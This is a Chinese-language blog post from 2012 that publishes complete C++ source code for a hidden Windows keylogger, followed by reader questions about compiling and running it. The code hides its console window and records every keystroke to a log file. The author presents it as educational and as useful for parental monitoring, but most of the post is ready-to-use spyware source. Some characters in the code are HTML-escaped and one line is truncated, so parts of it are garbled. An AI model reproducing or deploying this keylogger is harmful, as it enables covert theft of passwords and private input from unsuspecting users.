2012年10月17日 星期三

Keylogger 鍵盤側錄程式碼 C++ source code

最近自己用C++寫了鍵盤側錄的程式碼
覺得它的應用應該可以更廣
與其拿來做犯罪的事
應該還可以拿來作外掛,或者系統入侵偵測之類的
還有可以看小朋友是否有上些不好的網站

只能說所謂的工具可以是好的,同時也可以拿來做壞事


目前所謂鍵盤側錄的軟體,你也無法確定它內部是否帶有病毒
最好的方法還是自己寫。
如果覺得不喜歡可以寄信給我
就會把程式碼移除掉了



所以在這邊開放原始碼
基本上是希望大家知道,這樣一個程式有多麼的好寫
所以平常要如何防護
基本上我這個簡單的範例 使用的記憶體不多
但在工作管理員中也是看的到的
另外是防毒幾乎可以很快的判斷出這是有問題的把它砍掉
所以最好的防護還是當一個勤勞的使用者
平常要注意看看有沒有奇怪的執行檔在執行








#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <ctime>
#include <time.h>








using namespace std;
int Save(int key_stroke, char *file);
void Stealth();

int main()
{
//讀出鍵盤狀態
Stealth();
char i;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.TXT", "a+");


BYTE bKeys;

//檢查按鍵是否開啟
bKeys   =   GetKeyState(VK_NUMLOCK);
if(bKeys)
{
fprintf(OUTPUT_FILE,"%s","[Num lock 開啟ing ]\n");
}

bKeys   =   GetKeyState(VK_CAPITAL);

if(bKeys)
{
fprintf(OUTPUT_FILE,"%s","[Caps lock 開啟ing ]\n");
}

while (1)
{
time_t firstSeconds,lastSeconds;

lastSeconds = time (NULL);

for(i=8;i&lt;=190;i++)
{
firstSeconds = time (NULL);
if(GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}

//代表一陣子鍵盤沒有輸入任何字串
if (lastSeconds-firstSeconds&gt;=10)
fprintf(OUTPUT_FILE,"%s","\n\n");

}
system("PAUSE");
return 0;
}
/* ********************************** */
/* ********************************** */
int Save(int key_stroke, char *file)
{



if( (key_stroke==1) || (key_stroke==2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout&lt;
int bKeys;
bKeys   =   GetKeyState(VK_CAPITAL);


//修改特殊按鍵問題
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]" );
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n" );
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " " );
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]" );
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]" );
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]" );
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]" );
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]" );
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]" );
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]" );
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]" );
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]" );
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]" );
else if (key_stroke==VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[Caps Lock]" );
else if (key_stroke==VK_NUMLOCK)
fprintf(OUTPUT_FILE, "%s", "[Num Lock]" );

//修改右側小鍵盤問題
else if (key_stroke == VK_NUMPAD0)
fprintf(OUTPUT_FILE, "%s", "0" );
else if (key_stroke == VK_NUMPAD1)
fprintf(OUTPUT_FILE, "%s", "1" );
else if (key_stroke == VK_NUMPAD2)
fprintf(OUTPUT_FILE, "%s", "2" );
else if (key_stroke == VK_NUMPAD3)
fprintf(OUTPUT_FILE, "%s", "3" );
else if (key_stroke == VK_NUMPAD4)
fprintf(OUTPUT_FILE, "%s", "4" );
else if (key_stroke == VK_NUMPAD5)
fprintf(OUTPUT_FILE, "%s", "5" );
else if (key_stroke == VK_NUMPAD6)
fprintf(OUTPUT_FILE, "%s", "6" );
else if (key_stroke == VK_NUMPAD7)
fprintf(OUTPUT_FILE, "%s", "7" );
else if (key_stroke == VK_NUMPAD8)
fprintf(OUTPUT_FILE, "%s", "8" );
else if (key_stroke == VK_NUMPAD9)
fprintf(OUTPUT_FILE, "%s", "9" );
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", "." );


//一般文字大小寫問題
else if (bKeys==0 &amp;&amp; key_stroke&gt;=65)
{
key_stroke=key_stroke+32;
fprintf(OUTPUT_FILE, "%s", &amp;key_stroke);
}
else
fprintf(OUTPUT_FILE, "%s", &amp;key_stroke );

fclose(OUTPUT_FILE);
return 0;
}

/* ********************************** */
/* ********************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}


8 則留言:

  1. for(i=8;i<=190;i++)
    這邊的lt是甚麼?

    回覆刪除
    回覆
    1. 貼錯行

      for(i=8;i<=190;i++)
      這邊的lt還有;=是甚麼意思

      刪除
  2. 作者已經移除這則留言。

    回覆刪除
  3. 將記錄存至檔案是哪一行?

    回覆刪除
  4. 如果我想要讓他執行 該怎麼做? 將紀錄的鍵盤側錄 執行

    回覆刪除
  5. 作者已經移除這則留言。

    回覆刪除
  6. 作者已經移除這則留言。

    回覆刪除
  7. "& l t ; "等等的全部都是html轉換錯誤的碼,所以要自己過濾哦

    回覆刪除